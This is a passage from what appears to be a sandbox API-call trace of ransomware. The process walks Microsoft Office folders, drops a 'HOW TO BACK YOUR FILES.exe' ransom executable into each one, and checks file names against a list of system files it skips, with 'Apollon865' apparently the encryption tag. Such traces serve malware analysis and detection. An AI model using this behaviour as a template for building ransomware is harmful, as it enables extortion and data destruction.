	[0072.849] lstrlenW (lpString="SCHEME43.CSS") returned 12
	[0072.849] lstrlenW (lpString="Apollon865") returned 10
	[0072.849] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME44.CSS" | out: lpString1="SCHEME44.CSS") returned="SCHEME44.CSS"
	[0072.849] lstrlenW (lpString="SCHEME44.CSS") returned 12
	[0072.849] lstrlenW (lpString="Apollon865") returned 10
	[0072.849] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME45.CSS" | out: lpString1="SCHEME45.CSS") returned="SCHEME45.CSS"
	[0072.849] lstrlenW (lpString="SCHEME45.CSS") returned 12
	[0072.849] lstrlenW (lpString="Apollon865") returned 10
	[0072.849] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME46.CSS" | out: lpString1="SCHEME46.CSS") returned="SCHEME46.CSS"
	[0072.849] lstrlenW (lpString="SCHEME46.CSS") returned 12
	[0072.850] lstrlenW (lpString="Apollon865") returned 10
	[0072.850] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME47.CSS" | out: lpString1="SCHEME47.CSS") returned="SCHEME47.CSS"
	[0072.850] lstrlenW (lpString="SCHEME47.CSS") returned 12
	[0072.850] lstrlenW (lpString="Apollon865") returned 10
	[0072.850] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME48.CSS" | out: lpString1="SCHEME48.CSS") returned="SCHEME48.CSS"
	[0072.850] lstrlenW (lpString="SCHEME48.CSS") returned 12
	[0072.850] lstrlenW (lpString="Apollon865") returned 10
	[0072.850] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME49.CSS" | out: lpString1="SCHEME49.CSS") returned="SCHEME49.CSS"
	[0072.850] lstrlenW (lpString="SCHEME49.CSS") returned 12
	[0072.850] lstrlenW (lpString="Apollon865") returned 10
	[0072.850] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME50.CSS" | out: lpString1="SCHEME50.CSS") returned="SCHEME50.CSS"
	[0072.850] lstrlenW (lpString="SCHEME50.CSS") returned 12
	[0072.850] lstrlenW (lpString="Apollon865") returned 10
	[0072.850] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME51.CSS" | out: lpString1="SCHEME51.CSS") returned="SCHEME51.CSS"
	[0072.850] lstrlenW (lpString="SCHEME51.CSS") returned 12
	[0072.850] lstrlenW (lpString="Apollon865") returned 10
	[0072.850] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME52.CSS" | out: lpString1="SCHEME52.CSS") returned="SCHEME52.CSS"
	[0072.850] lstrlenW (lpString="SCHEME52.CSS") returned 12
	[0072.850] lstrlenW (lpString="Apollon865") returned 10
	[0072.850] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME53.CSS" | out: lpString1="SCHEME53.CSS") returned="SCHEME53.CSS"
	[0072.850] lstrlenW (lpString="SCHEME53.CSS") returned 12
	[0072.850] lstrlenW (lpString="Apollon865") returned 10
	[0072.851] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME54.CSS" | out: lpString1="SCHEME54.CSS") returned="SCHEME54.CSS"
	[0072.851] lstrlenW (lpString="SCHEME54.CSS") returned 12
	[0072.851] lstrlenW (lpString="Apollon865") returned 10
	[0072.851] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="SCHEME55.CSS" | out: lpString1="SCHEME55.CSS") returned="SCHEME55.CSS"
	[0072.851] lstrlenW (lpString="SCHEME55.CSS") returned 12
	[0072.851] lstrlenW (lpString="Apollon865") returned 10
	[0072.851] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5"
	[0072.851] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0072.851] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0072.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5") returned 60
	[0072.851] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5"
	[0072.851] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.851] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.857] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.857] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43804930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43804930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.858] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.858] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.858] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.858] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43804930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43804930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.858] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.858] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.858] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.858] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.858] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1
	[0072.858] lstrcmpiW (lpString1="BG_ADOBE.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.858] lstrcmpiW (lpString1="BG_ADOBE.GIF", lpString2="Apollon865.txt.exe") returned 1
	[0072.858] lstrcmpiW (lpString1="BG_ADOBE.GIF", lpString2=".") returned 1
	[0072.858] lstrcmpiW (lpString1="BG_ADOBE.GIF", lpString2="..") returned 1
	[0072.858] lstrcmpiW (lpString1="BG_ADOBE.GIF", lpString2="windows") returned -1
	[0072.858] lstrcmpiW (lpString1="BG_ADOBE.GIF", lpString2="bootmgr") returned -1
	[0072.858] lstrcmpiW (lpString1="BG_ADOBE.GIF", lpString2="temp") returned -1
	[0072.858] lstrcmpiW (lpString1="BG_ADOBE.GIF", lpString2="pagefile.sys") returned -1
	[0072.858] lstrcmpiW (lpString1="BG_ADOBE.GIF", lpString2="boot") returned -1
	[0072.858] lstrcmpiW (lpString1="BG_ADOBE.GIF", lpString2="ids.txt") returned -1
	[0072.858] lstrcmpiW (lpString1="BG_ADOBE.GIF", lpString2="ntuser.dat") returned -1
	[0072.858] lstrcmpiW (lpString1="BG_ADOBE.GIF", lpString2="perflogs") returned -1
	[0072.858] lstrcmpiW (lpString1="BG_ADOBE.GIF", lpString2="MSBuild") returned -1
	[0072.858] lstrlenW (lpString="BG_ADOBE.GIF") returned 12
	[0072.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*") returned 62
	[0072.858] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="BG_ADOBE.GIF" | out: lpString1="BG_ADOBE.GIF") returned="BG_ADOBE.GIF"
	[0072.858] lstrlenW (lpString="BG_ADOBE.GIF") returned 12
	[0072.858] lstrlenW (lpString="Apollon865") returned 10
	[0072.858] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="bg_Casual.gif" | out: lpString1="bg_Casual.gif") returned="bg_Casual.gif"
	[0072.859] lstrlenW (lpString="bg_Casual.gif") returned 13
	[0072.859] lstrlenW (lpString="Apollon865") returned 10
	[0072.859] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="bg_Country.gif" | out: lpString1="bg_Country.gif") returned="bg_Country.gif"
	[0072.859] lstrlenW (lpString="bg_Country.gif") returned 14
	[0072.859] lstrlenW (lpString="Apollon865") returned 10
	[0072.859] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="bg_Earthy.gif" | out: lpString1="bg_Earthy.gif") returned="bg_Earthy.gif"
	[0072.859] lstrlenW (lpString="bg_Earthy.gif") returned 13
	[0072.859] lstrlenW (lpString="Apollon865") returned 10
	[0072.859] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="bg_GreenTea.gif" | out: lpString1="bg_GreenTea.gif") returned="bg_GreenTea.gif"
	[0072.859] lstrlenW (lpString="bg_GreenTea.gif") returned 15
	[0072.859] lstrlenW (lpString="Apollon865") returned 10
	[0072.859] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="bg_Groove.gif" | out: lpString1="bg_Groove.gif") returned="bg_Groove.gif"
	[0072.859] lstrlenW (lpString="bg_Groove.gif") returned 13
	[0072.859] lstrlenW (lpString="Apollon865") returned 10
	[0072.859] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="bg_LightSpirit.gif" | out: lpString1="bg_LightSpirit.gif") returned="bg_LightSpirit.gif"
	[0072.859] lstrlenW (lpString="bg_LightSpirit.gif") returned 18
	[0072.859] lstrlenW (lpString="Apollon865") returned 10
	[0072.859] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="bg_OliveGreen.gif" | out: lpString1="bg_OliveGreen.gif") returned="bg_OliveGreen.gif"
	[0072.859] lstrlenW (lpString="bg_OliveGreen.gif") returned 17
	[0072.859] lstrlenW (lpString="Apollon865") returned 10
	[0072.859] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="bg_Premium.gif" | out: lpString1="bg_Premium.gif") returned="bg_Premium.gif"
	[0072.859] lstrlenW (lpString="bg_Premium.gif") returned 14
	[0072.859] lstrlenW (lpString="Apollon865") returned 10
	[0072.860] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="bg_SlateBlue.gif" | out: lpString1="bg_SlateBlue.gif") returned="bg_SlateBlue.gif"
	[0072.860] lstrlenW (lpString="bg_SlateBlue.gif") returned 16
	[0072.860] lstrlenW (lpString="Apollon865") returned 10
	[0072.860] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="bg_TexturedBlue.gif" | out: lpString1="bg_TexturedBlue.gif") returned="bg_TexturedBlue.gif"
	[0072.860] lstrlenW (lpString="bg_TexturedBlue.gif") returned 19
	[0072.860] lstrlenW (lpString="Apollon865") returned 10
	[0072.860] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="bg_VelvetRose.gif" | out: lpString1="bg_VelvetRose.gif") returned="bg_VelvetRose.gif"
	[0072.860] lstrlenW (lpString="bg_VelvetRose.gif") returned 17
	[0072.860] lstrlenW (lpString="Apollon865") returned 10
	[0072.860] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="FormsStyles" | out: lpString1="FormsStyles") returned="FormsStyles"
	[0072.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0072.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5a3168
	[0072.860] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7990
	[0072.860] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43804930, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x43804930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0072.860] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0072.860] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43804930, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x43804930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0072.860] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0072.860] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0072.860] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles"
	[0072.860] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0072.860] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0072.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles") returned 72
	[0072.860] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles"
	[0072.860] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.860] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.871] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43804930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43804930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.872] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.872] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.872] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.872] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43804930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43804930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.873] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.873] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.873] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.874] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.874] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1
	[0072.874] lstrcmpiW (lpString1="Adobe.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.874] lstrcmpiW (lpString1="Adobe.css", lpString2="Apollon865.txt.exe") returned -1
	[0072.874] lstrcmpiW (lpString1="Adobe.css", lpString2=".") returned 1
	[0072.874] lstrcmpiW (lpString1="Adobe.css", lpString2="..") returned 1
	[0072.874] lstrcmpiW (lpString1="Adobe.css", lpString2="windows") returned -1
	[0072.874] lstrcmpiW (lpString1="Adobe.css", lpString2="bootmgr") returned -1
	[0072.874] lstrcmpiW (lpString1="Adobe.css", lpString2="temp") returned -1
	[0072.874] lstrcmpiW (lpString1="Adobe.css", lpString2="pagefile.sys") returned -1
	[0072.874] lstrcmpiW (lpString1="Adobe.css", lpString2="boot") returned -1
	[0072.874] lstrcmpiW (lpString1="Adobe.css", lpString2="ids.txt") returned -1
	[0072.874] lstrcmpiW (lpString1="Adobe.css", lpString2="ntuser.dat") returned -1
	[0072.874] lstrcmpiW (lpString1="Adobe.css", lpString2="perflogs") returned -1
	[0072.874] lstrcmpiW (lpString1="Adobe.css", lpString2="MSBuild") returned -1
	[0072.874] lstrlenW (lpString="Adobe.css") returned 9
	[0072.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*") returned 74
	[0072.874] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="Adobe.css" | out: lpString1="Adobe.css") returned="Adobe.css"
	[0072.874] lstrlenW (lpString="Adobe.css") returned 9
	[0072.874] lstrlenW (lpString="Apollon865") returned 10
	[0072.874] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="Americana" | out: lpString1="Americana") returned="Americana"
	[0072.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0072.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5a3168
	[0072.874] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7990
	[0072.874] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="AMERIC~1.CSS")) returned 1
	[0072.874] lstrcmpiW (lpString1="Americana.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.874] lstrcmpiW (lpString1="Americana.css", lpString2="Apollon865.txt.exe") returned -1
	[0072.874] lstrcmpiW (lpString1="Americana.css", lpString2=".") returned 1
	[0072.874] lstrcmpiW (lpString1="Americana.css", lpString2="..") returned 1
	[0072.874] lstrcmpiW (lpString1="Americana.css", lpString2="windows") returned -1
	[0072.875] lstrcmpiW (lpString1="Americana.css", lpString2="bootmgr") returned -1
	[0072.875] lstrcmpiW (lpString1="Americana.css", lpString2="temp") returned -1
	[0072.875] lstrcmpiW (lpString1="Americana.css", lpString2="pagefile.sys") returned -1
	[0072.875] lstrcmpiW (lpString1="Americana.css", lpString2="boot") returned -1
	[0072.875] lstrcmpiW (lpString1="Americana.css", lpString2="ids.txt") returned -1
	[0072.875] lstrcmpiW (lpString1="Americana.css", lpString2="ntuser.dat") returned -1
	[0072.875] lstrcmpiW (lpString1="Americana.css", lpString2="perflogs") returned -1
	[0072.875] lstrcmpiW (lpString1="Americana.css", lpString2="MSBuild") returned -1
	[0072.875] lstrlenW (lpString="Americana.css") returned 13
	[0072.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana") returned 82
	[0072.875] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="Americana.css" | out: lpString1="Americana.css") returned="Americana.css"
	[0072.875] lstrlenW (lpString="Americana.css") returned 13
	[0072.875] lstrlenW (lpString="Apollon865") returned 10
	[0072.875] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="BabyBlue" | out: lpString1="BabyBlue") returned="BabyBlue"
	[0072.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0072.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa4) returned 0x5a3338
	[0072.875] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0072.875] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1
	[0072.875] lstrcmpiW (lpString1="BabyBlue.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.875] lstrcmpiW (lpString1="BabyBlue.css", lpString2="Apollon865.txt.exe") returned 1
	[0072.875] lstrcmpiW (lpString1="BabyBlue.css", lpString2=".") returned 1
	[0072.875] lstrcmpiW (lpString1="BabyBlue.css", lpString2="..") returned 1
	[0072.875] lstrcmpiW (lpString1="BabyBlue.css", lpString2="windows") returned -1
	[0072.875] lstrcmpiW (lpString1="BabyBlue.css", lpString2="bootmgr") returned -1
	[0072.875] lstrcmpiW (lpString1="BabyBlue.css", lpString2="temp") returned -1
	[0072.875] lstrcmpiW (lpString1="BabyBlue.css", lpString2="pagefile.sys") returned -1
	[0072.875] lstrcmpiW (lpString1="BabyBlue.css", lpString2="boot") returned -1
	[0072.875] lstrcmpiW (lpString1="BabyBlue.css", lpString2="ids.txt") returned -1
	[0072.875] lstrcmpiW (lpString1="BabyBlue.css", lpString2="ntuser.dat") returned -1
	[0072.875] lstrcmpiW (lpString1="BabyBlue.css", lpString2="perflogs") returned -1
	[0072.875] lstrcmpiW (lpString1="BabyBlue.css", lpString2="MSBuild") returned -1
	[0072.875] lstrlenW (lpString="BabyBlue.css") returned 12
	[0072.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue") returned 81
	[0072.875] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="BabyBlue.css" | out: lpString1="BabyBlue.css") returned="BabyBlue.css"
	[0072.876] lstrlenW (lpString="BabyBlue.css") returned 12
	[0072.876] lstrlenW (lpString="Apollon865") returned 10
	[0072.876] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="Beige.css" | out: lpString1="Beige.css") returned="Beige.css"
	[0072.876] lstrlenW (lpString="Beige.css") returned 9
	[0072.876] lstrlenW (lpString="Apollon865") returned 10
	[0072.876] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="Biscay" | out: lpString1="Biscay") returned="Biscay"
	[0072.876] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0072.876] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cafd0
	[0072.876] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0072.876] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1
	[0072.876] lstrcmpiW (lpString1="Biscay.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.876] lstrcmpiW (lpString1="Biscay.css", lpString2="Apollon865.txt.exe") returned 1
	[0072.876] lstrcmpiW (lpString1="Biscay.css", lpString2=".") returned 1
	[0072.876] lstrcmpiW (lpString1="Biscay.css", lpString2="..") returned 1
	[0072.876] lstrcmpiW (lpString1="Biscay.css", lpString2="windows") returned -1
	[0072.876] lstrcmpiW (lpString1="Biscay.css", lpString2="bootmgr") returned -1
	[0072.876] lstrcmpiW (lpString1="Biscay.css", lpString2="temp") returned -1
	[0072.876] lstrcmpiW (lpString1="Biscay.css", lpString2="pagefile.sys") returned -1
	[0072.876] lstrcmpiW (lpString1="Biscay.css", lpString2="boot") returned -1
	[0072.876] lstrcmpiW (lpString1="Biscay.css", lpString2="ids.txt") returned -1
	[0072.876] lstrcmpiW (lpString1="Biscay.css", lpString2="ntuser.dat") returned -1
	[0072.876] lstrcmpiW (lpString1="Biscay.css", lpString2="perflogs") returned -1
	[0072.876] lstrcmpiW (lpString1="Biscay.css", lpString2="MSBuild") returned -1
	[0072.876] lstrlenW (lpString="Biscay.css") returned 10
	[0072.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay") returned 79
	[0072.876] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="Biscay.css" | out: lpString1="Biscay.css") returned="Biscay.css"
	[0072.876] lstrlenW (lpString="Biscay.css") returned 10
	[0072.876] lstrlenW (lpString="Apollon865") returned 10
